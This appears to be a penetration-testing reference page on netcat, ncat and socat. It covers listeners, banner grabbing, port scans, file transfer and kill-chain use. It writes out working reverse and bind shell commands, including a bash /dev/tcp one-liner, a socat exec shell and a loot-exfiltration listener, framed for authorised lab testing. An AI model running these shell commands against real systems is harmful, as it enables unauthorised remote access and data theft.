Netcat (nc / ncat)

Field Detail
Summary Raw TCP/UDP listeners, file transfer and shells
Category Networking utility
Phase enumeration, exploitation, post-exploitation
Interface CLI
Platform Linux, Windows, macOS
Licence Open source
Docs https://nmap.org/ncat/guide/
Related Nmap, Metasploit, Wireshark and tcpdump

The "TCP/IP Swiss army knife": read/write raw TCP and UDP. Banner grabbing, quick listeners, file transfer, manual protocol interaction, and catching reverse shells. Several variants exist — nc (traditional/OpenBSD), ncat (from Nmap, has SSL + access control), pwncat/rlwrap for nicer shells.

ℹ️ Note — Variant quirks The classic -e (execute a program) flag is compiled out of most modern nc builds for safety. ncat --exec/--sh-exec has it. Windows targets usually need a copied-over nc.exe or a PowerShell equivalent.

Connect & listen

nc 10.10.10.5 80           # connect to a TCP port
nc -u 10.10.10.5 53        # UDP
nc -v 10.10.10.5 22        # verbose
nc -nv 10.10.10.5 445      # no DNS, verbose
nc -lvnp 4444              # listen: -l listen, -v verbose, -n no-DNS, -p port

Mnemonic for a listener: -lvnp ("listen, verbose, numeric, port").

Banner grabbing / manual protocol

nc -nv 10.10.10.5 22              # SSH/FTP/SMTP banners print on connect
printf "HEAD / HTTP/1.0\r\n\r\n" | nc 10.10.10.5 80    # HTTP headers
nc -nv 10.10.10.5 25             # then type: HELO x / VRFY root  (SMTP user enum)

Port scanning (when Nmap isn't available)

nc -zvn 10.10.10.5 20-100        # -z zero-I/O (just check), scan a range
nc -zvnu 10.10.10.5 53 161       # UDP

Fine in a pinch; Nmap is the real tool.

File transfer

# Receiver (listens, writes to file)
nc -lvnp 4444 > incoming.file
# Sender (connects, sends file)
nc -nv 10.10.10.5 4444 < outgoing.file

# Serve a file to whoever connects
nc -lvnp 8080 < file.iso

No encryption or integrity check — verify with a hash afterwards (sha256sum). Use ncat --ssl if you need transport encryption.

Reverse vs bind shells (authorised testing)

These are the standard way to get an interactive shell back from a machine you've gained execution on in the lab.

# REVERSE shell — target connects back to you (usually beats egress firewalls)
# You (attacker) listen:
nc -lvnp 4444
# Executed on the target (Linux example):
bash -i >& /dev/tcp/10.8.0.5/4444 0>&1

# BIND shell — target listens, you connect in
# On target (ncat build with exec):
ncat -lvnp 4444 --sh-exec /bin/bash
# You connect:
nc -nv <target> 4444

⚠️ Warning — Scope only A reverse/bind shell is unauthorised access on any system you don't own or lack written permission to test. Lab machines and CTF boxes only.

Stabilising a dumb shell (common follow-up)

# In the netcat shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Background with Ctrl+Z, then on your box:
stty raw -echo; fg
# (press Enter twice) — now you have arrows, tab-complete, Ctrl+C

Or just catch the shell with rlwrap nc -lvnp 4444 for history/line-editing from the start.

ncat extras

ncat -lvnp 4444 --ssl                         # TLS listener
ncat -lvnp 4444 --allow 10.8.0.5              # only accept from one host
ncat --ssl 10.10.10.5 443                      # TLS client
ncat -lvnp 4444 --keep-open                    # stay up after a client disconnects

More patterns (ncat / socat)

# ncat relays & brokers
ncat -lvnp 4444 --broker                           # relay/chat broker between many clients
ncat -lvnp 8080 --sh-exec "ncat 10.0.0.9 80"       # TCP port-forward / relay
ncat --ssl -lvnp 4444                              # TLS-wrapped listener
ncat -lvnp 4444 --allow 10.8.0.5                   # only accept from one host

# UDP + quick checks
nc -u -lvnp 4444        ;   nc -u 10.0.0.5 4444     # UDP listen / connect
nc -zv 10.0.0.5 22 80 443                           # quick multi-port connectivity test

# socat — netcat on steroids (fully interactive PTY, no stty dance; TLS)
# attacker listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# on target (gives a stable, tab-completing shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.8.0.5:4444
# TLS-encrypted listener:
socat OPENSSL-LISTEN:4444,cert=server.pem,verify=0 -

Prefer socat when it's available — its PTY handling gives a fully interactive shell without the python pty + stty raw -echo upgrade steps.

Kill-chain usage

Exploitation

nc -lvnp 4444                       # catch a reverse shell from an exploited host

Post-exploitation

nc -lvnp 4444 > loot.tar            # pull files off the foothold (then stabilise the shell)

Where it fits

Quick manual checks when a full tool is overkill, moving files on/off a target, and catching shells. For managed, multi-session handling of callbacks, Metasploit's multi/handler is more robust; netcat is the lightweight, always-there option.